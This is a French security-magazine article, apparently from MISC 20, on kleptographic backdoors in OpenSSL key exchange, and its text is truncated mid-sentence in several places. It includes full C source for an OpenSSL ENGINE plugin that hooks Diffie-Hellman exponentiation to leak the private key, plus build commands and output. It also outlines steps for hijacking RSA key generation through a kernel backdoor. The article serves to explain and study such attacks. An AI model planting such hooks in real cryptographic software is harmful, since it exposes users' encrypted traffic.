Retrouvez cet article dans : Misc 20
Introduction du problème
Dans certains environnements un peu particuliers, les schémas utilisés par les backdoors classiques sont inopérants. Pour nous en convaincre, considérons le scénario suivant, certes un peu extrême, mais néanmoins plausible en environnement de production : un pirate souhaite écouter en temps réel une communication chiffrée par openssl entre un serveur Unix compromis dont l'espace disque n'est matériellement accessible qu'en lecture seule (typiquement un système booté sur un CD) et un ensemble de clients tiers quelconques. Il a la possibilité de capter passivement l'intégralité des trames circulant sur le réseau. La question qui se pose alors est de savoir comment notre pirate pourra opérer. Puisque le disque est en lecture seule, un hook en local des fonctions de chiffrement pour une redirection fichier ne sera pas possible, il faudra donc rendre possible la fuite d'information sur le réseau. Malheureusement, celui-ci à défaut d'être sécurisé est très surveillé. La fuite d'information devra donc se faire au sein même des communications SSL entre le serveur et les différents clients. On peut faire cela de deux façons différentes :- en créant un canal caché (covert channel) dans le flux de données SSL ;
- en biaisant mathématiquement le cryptosystème employé pour les échanges de clefs.
Quelle solution retenir ?
La création d'un canal caché SSL est une solution intéressante sur laquelle un article très complet a été publié [1]. Malheureusement, cette méthode souffre en pratique, et plus particulièrement dans notre cas, de quelques limitations. En effet, considérant la nature même des canaux cachés, une manipulation quasi chirurgicale des données liées au protocole est nécessaire ce qui peut se révéler difficile à implémenter en runtime. La possibilité d'utiliser des techniques palliatives telles que celles décrites dans phrack [2] est envisageable pour remplacer le binaire en mémoire sans l'écrire sur disque mais la complexité de la manœuvre ainsi que son manque de résistance face aux contrôles d'intégrité mémoire les plus primitifs (hachage du segment de CODE par exemple) en font une solution à proscrire. La seconde solution repose sur l'idée de modifier le cryptosystème de telle façon que les modifications soient invisibles en black box, que le fonctionnement du système reste en apparence strictement le même et que l'utilisation du cryptosystème fournisse à l'attaquant des informations telles que la clef privée employée. Quel est donc l'avantage d'un tel procédé par rapport au canal caché ? Typiquement, backdoorer un cryptosystème revient essentiellement à biaiser le mécanisme de génération des clefs de manière à ce qu'il soit possible pour l'attaquant de récupérer de l'information. Cela ne requiert donc qu'une unique modification, celle de la fonction responsable de la génération des clefs ! Par ailleurs, pour permettre d'accélérer facilement les traitements un peu lourds tels que les exponentiations modulaires sur des serveurs de production, openssl propose un mécanisme de plugins capable d'interagir avec des accélérateurs hardware spécifiques. Le détournement de cette fonctionnalité permettra donc d'insérer la backdoor très facilement ainsi que nous le verrons dans la suite de l'article.Biaiser les cryptosystèmes ...
Gus Simmons a introduit à Eurocrypt 1985 [5] le concept du canal subliminal, qui est une forme particulière de canal caché propre à un cryptosystème. Bien que l'une de ses caractéristiques soit qu'il est normalement indécelable pendant son utilisation, il est mis en évidence immédiatement lors de l'analyse du code du système de chiffrement, ce qui implique une utilisation en black box. En outre, il n'offre aucune sécurité à l'attaquant quant au vol des données. Adam Young et Moti Yung ont étendu ce concept à travers différentes publications dont les deux plus célèbres historiquement sont [6] et [7]. Ils ont ainsi introduit le concept de SETUP, qui signifie Secretely Embedded Trapdoor With Universal Protection et qui formalise ces backdoors mathématiques. En clair, le SETUP est l'algorithme responsable de la modification de comportement du cryptosystème. La définition précise ainsi que les nuances de weak, regular et strong SETUP sont données dans [7]. En ce qui nous concerne, nous n'en retiendrons que trois choses essentielles :- Le cryptosystème backdooré emploie au moins une fonction de chiffrement asymétrique dont la clef publique passée en paramètre est celle de l'attaquant et pour laquelle la clef privée correspondante est la propriété exclusive de ce dernier (elle n'est bien évidemment pas présente dans le code de la backdoor).
- La sortie du cryptosystème backdooré est conforme à la spécification publique d'origine et ceci alors qu'elle contient des bits d'informations relatifs à la clef privée de l'utilisateur.
- Lorsque la backdoor est découverte (par reverse engineering par exemple), il doit être impossible lors de l'analyse de déterminer les clefs précédentes et futures générées par le SETUP (en supposant que la sortie du cryptosystème soit en la possession de l'analyste).
Quelques rappels relatifs au protocole SSL
Le protocole SSL fournit potentiellement trois services dans le cadre d'une communication entre deux entités : la confidentialité, l'authentification et l'intégrité. Ici, le pirate est complètement passif sur le réseau. En conséquence, nous nous focaliserons sur la confidentialité. La cryptographie à clef publique permet, entre autres, de négocier de façon sécurisée une clef de session (la PreMasterKey) entre deux entités. Celle-ci permet la création d'une clef secrète de chiffrement après de multiples dérivations pour chiffrer la communication, l'algorithme employé ayant été préalablement négocié. SSL fonctionne par le biais de messages échangés entre le client et le serveur. La figure 1 nous montre un exemple de schéma de communication simple. 
Figure 1 : schéma de communication ssl
Dans un premier temps, le client envoie dans unAttaquer DH, mettre en place un SETUP
Abordons maintenant DHE. Il s'agit historiquement du premier mécanisme d'échange de clef à avoir vu le jour et qui est également le plus utilisé par SSL. Il repose sur le problème du logarithme discret dans
 Figure 2 : échange biaisé de clefs
Dans ce schéma, ID est une chaîne générée aléatoirement par l'attaquant et stockée sur le serveur. Elle permet de s'assurer que la longueur de l'argument passé Ã-  Récupération de
A1etB1par le pirate en sniffant le réseau oùA1 = g a1mod petB1 = g b1 mod p -  Récupération de
A2etB2 -  Calcul de
a2 = H(ID || (A1 X mod p))en utilisant le fait queA1 X = (ga1) X = Y a1 mod p -  Calcul de
K2 = B2 a2 mod p
-  Récupération de
Ai-1 et Bi-1par le pirate en sniffant le réseau oùAi-1 = g ai-1 mod p et Bi-1 = gbi-1 mod p -  Récupération de
AietBi -  Calcul de
ai = H(ID || (Ai-1 X mod p))en utilisant le fait queAi-1 X = (g ai-1) X = Y ai-1 mod p -  Calcul de
Ki = Bi ai mod p
Jouer avec l'interface ENGINE de openssl
Ainsi que nous l'avons dit précédemment, openssl implémente un système de plugins lui permettant le contrôle de hardware spécifique pour réaliser certains traitements cryptographiques. Openssl utilise pour cela un mécanisme appelé " engines ". Le lecteur désireux de se familiariser avec ces objets est invité à lire [11, 12]. Pour résumer ces documentations, chaque algorithme d'échange de clefs est représenté par un objet qui exporte chacun un certain nombre de méthodes correspondant au chiffrement, au déchiffrement, à l'exponentiation modulaire, et quelques autres :#include <stdio.h>
#include <stdlib.h>
#include <openssl/ssl.h>
#include <openssl/engine.h>
/* Begin the engine */
static const char *engine_ssldude_id = "ssldude";
static const char *engine_ssldude_name = "SSLDUDE - openssl backdoor - SysK";
static int ssldude_destroy(ENGINE *e);
static int ssldude_init(ENGINE *e);
static int ssldude_finish(ENGINE *e);
static int ssldude_ctrl(ENGINE *e, int cmd, long i, void *p, void (*f)());
static const ENGINE_CMD_DEFN ssldude_cmd_defns[] =
{
{ 0, NULL, NULL, 0}
};
/* Our internal DH_METHOD that we provide pointers to */
static DH_METHOD ssldude_dh =
{
"SSLDUDE DH method",
NULL,
NULL,
NULL,
NULL,
NULL,
0,
NULL
};
/* It will reveal the private key ... */
static int HOOKED_bn_mod_exp(const DH *dh, BIGNUM *r, const BIGNUM *a,
const BIGNUM *p, const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx)
{
int ret = 0;
DH_METHOD *meth = (DH_METHOD *)DH_OpenSSL();
printf("!!!! HOOKED DH BN MOD EXP !!!!!\n");
printf("\tCe que l'on nous donne : [ r = a ^ p (mod m) ]\n");
ret = meth->bn_mod_exp(dh, r, a, p, m, ctx, m_ctx);
printf("\t-> Private Key [%d] = %s\n", BN_num_bits(p), BN_bn2hex(p));
return ret;
}
/*
* This internal function is used by ENGINE_ssldude() and possibly by the
* "dynamic" ENGINE support too
*
*/
static int bind_helper(ENGINE *e)
{
const DH_METHOD *meth3;
if(!ENGINE_set_id(e, engine_ssldude_id) ||
!ENGINE_set_name(e, engine_ssldude_name) ||
!ENGINE_set_DH(e, &ssldude_dh) ||
!ENGINE_set_destroy_function(e, ssldude_destroy) ||
!ENGINE_set_init_function(e, ssldude_init) ||
!ENGINE_set_finish_function(e, ssldude_finish) ||
!ENGINE_set_ctrl_function(e, ssldude_ctrl) ||
!ENGINE_set_cmd_defns(e, ssldude_cmd_defns))
return 0;
/* Diffie-Hellman object stuff :) */
meth3 = DH_OpenSSL();
ssldude_dh.generate_key = meth3->generate_key;
ssldude_dh.compute_key = meth3->compute_key;
ssldude_dh.bn_mod_exp = HOOKED_bn_mod_exp;
return 1;
}
#ifdef ENGINE_DYNAMIC_SUPPORT
static int bind_fn(ENGINE *e, const char *id)
{
printf("engine_ssldude %s\n",id);
if(id && (strcmp(id, engine_ssldude_id) != 0))
return 0;
if(!bind_helper(e))
return 0;
return 1;
}
/*
*
* First check using v_check() that the backdoor's version is ok
* Then export bind_engine sym, which will define binf_fn callback :)
*
*/
IMPLEMENT_DYNAMIC_CHECK_FN()
IMPLEMENT_DYNAMIC_BIND_FN(bind_fn)
#endif /* ENGINE_DYNAMIC_SUPPORT */
/* Destructor (complements the "ENGINE_ssldude()" constructor) */
static int ssldude_destroy(ENGINE *e)
{
return 1;
}
/* (De)initialisation functions. */
static int ssldude_init(ENGINE *e)
{
return 1;
}
static int ssldude_finish(ENGINE *e)
{
return 1;
}
static int ssldude_ctrl(ENGINE *e, int cmd, long i, void *p, void (*f)())
{
return 1;
}
Testons rapidement son bon fonctionnement :
 $gcc -DENGINE_DYNAMIC_SUPPORT -c ssldude.c $gcc -shared -o ssldude.so ssldude.o $cat server.sh openssl s_server -cert test_cert.pem -key test_key.pem -state -debug -msg -engine ./ssldude.so $cat client.sh openssl s_client -connect 127.0.0.1:4433 -debug -ssl3 $./server.sh | grep -A 3 HOOK engine "ssldude" set. SSL_accept:before/accept initialization !!!! HOOKED DH BN MOD EXP !!!!! -> Private Key [511] = 7D864449BBF843809DE2F8E36172091E0ADF765455D3A9E68900FE631164C6845ED9ACA05ED5D6D148910F017B2054350CAD344FAE96F5DA0FE1A1FD8F85EC12 ACCEPT SSL_accept:SSLv3 read client hello A SSL_accept:SSLv3 write server hello A SSL_accept:SSLv3 write certificate A SSL_accept:SSLv3 write key exchange A SSL_accept:SSLv3 write server done A SSL_accept:SSLv3 flush data SSL_accept:SSLv3 read client key exchange A -- !!!! HOOKED DH BN MOD EXP !!!!! -> Private Key [511] = 7D864449BBF843809DE2F8E36172091E0ADF765455D3A9E68900FE631164C6845ED9ACA05ED5D6D148910F017B2054350CAD344FAE96F5DA0FE1A1FD8F85EC12 read from 080B27A8 [080B7E30] (5 bytes => 5 (0x5)) SSL_accept:SSLv3 read finished A SSL_accept:SSLv3 write change cipher spec A SSL_accept:SSLv3 write finished A SSL_accept:SSLv3 flush dataLe calcul de la clef publique Ys est réalisé par le biais de l'appel Ã
Le cas du RSA
Dans la plupart des cas, DHE est l'algorithme utilisé pour les échanges de clefs. Il est néanmoins intéressant de se pencher sur le RSA pour au moins deux raisons : le RSA peut être le mécanisme d'échange de clef utilisé et il peut également permettre la création de nouvelles attaques assez sympatiques. Le problème majeur que nous allons rencontrer est celui de la génération des clefs. Dans openssl, une clef RSA est générée par l'appel à la fonction-  Charger une backdoor noyau.
-  Lorsqu'un processus qui utilise openssl se lance, résoudre
RSA_generate_keypar le biais du linker dynamique. -  Déposer un breakpoint (
int 3) dans le premier octet de code de la fonction. -  Récupérer l'exception lorsque
int 3est appelé. -  Rediriger le compteur de programme, en gérant minutieusement la pile, vers le code d'une fonction de substitution.

Figure 3 : relations de certificats
En examinant ce schéma, on constate que la compromission de l'exécutable openssl à un niveau hiérarchiqueConclusion
L'objectif de cet article était de montrer une utilisation relativement méconnue de la cryptographie dans le monde de la sécurité. Bien que l'idée ne soit pas récente puisque datant de 85 au moins, il n'existe pas de telle backdoor disponible publiquement. Il est vrai que leur nature atypique et les connaissances et conditions préalables à leur réalisation n'incitent pas vraiment à leur propagation. Pourtant, le développement du " tout cryptographie ", entre VPN et PKI, devrait en favoriser l'étude. Remerciements J'adresse mes remerciements à Julien Tinnes et Julien Zak pour les discussions sympathiques que nous avons eues ces dernières semaines sur la cryptographie pendant nos pauses café et bien évidemment un gros merci à X pour sa relecture de l'article un dimanche soir ;-). Sur un plan plus personnel, j'en profite pour faire un gros coucou/bisou à mes Lillois(es) préféré(e)s, ainsi qu'à miss Caro qui, en plus d'être une styliste génialissime, est une merveilleuse amie :-). Références- [1] E.J. Goh, D. Boneh, B. Pinkas et P. Golle, " The Design and Implementation of Protocol-Based Hidden Key Recovery "
- [2] Grugq, Fist ! Fist ! Fist ! Its all in the wrist : Remote Exec, Phrack 62
- [3] http://www.cryptovirology.com
- [4] Eric Wegrzynowski, " Des Trappes dans les Clés ", SSTIC 2003
- [5] G. J. Simmons, The Subliminal Channel and Digital Signatures, Eurocrypt 1985.
- [6] A. Young, M. Yung, The Dark Side of "Â Black-Box " Cryptography or : Should We Trust Capstone ?, Springer-Verlag, 1996
- [7] A. Young, M. Yung, Kleptography : Using Cryptography against Cryptography, Springer-Verlag, Eurocrypt 1997
- [8] Douglas Stinson, Cryptographie Théorie et pratique, Vuibert
- [9] A. Freier, P. Karlton, P. Kocher, The SSL Protocol Version 3.0, Internet Draft
- [10] T. Dierks, E. Rescorla, The TLS Protocol Version 1.1, RFC 2246
- [11] Manpage des engines, " man engine "
- [12] Readme.ENGINE dans les sources de openssl
- [13] Anonymous, Runtime Process Infection, Phrack 59
- [14] M. Wiener, Cryptanalysis of Short RSA Secret Exponents, 1989
- [15] C. Crépeau, A. Slakmon, Simple backdoors for RSA key generation, 2002Â
- [16] Sniffer ssl : http://www.miscmag.com/articles/20-MISC/CM-ssl/
Retrouvez cet article dans : Misc 20





Donnez votre avis
Vous devez avoir ouvert une session pour écrire un commentaire.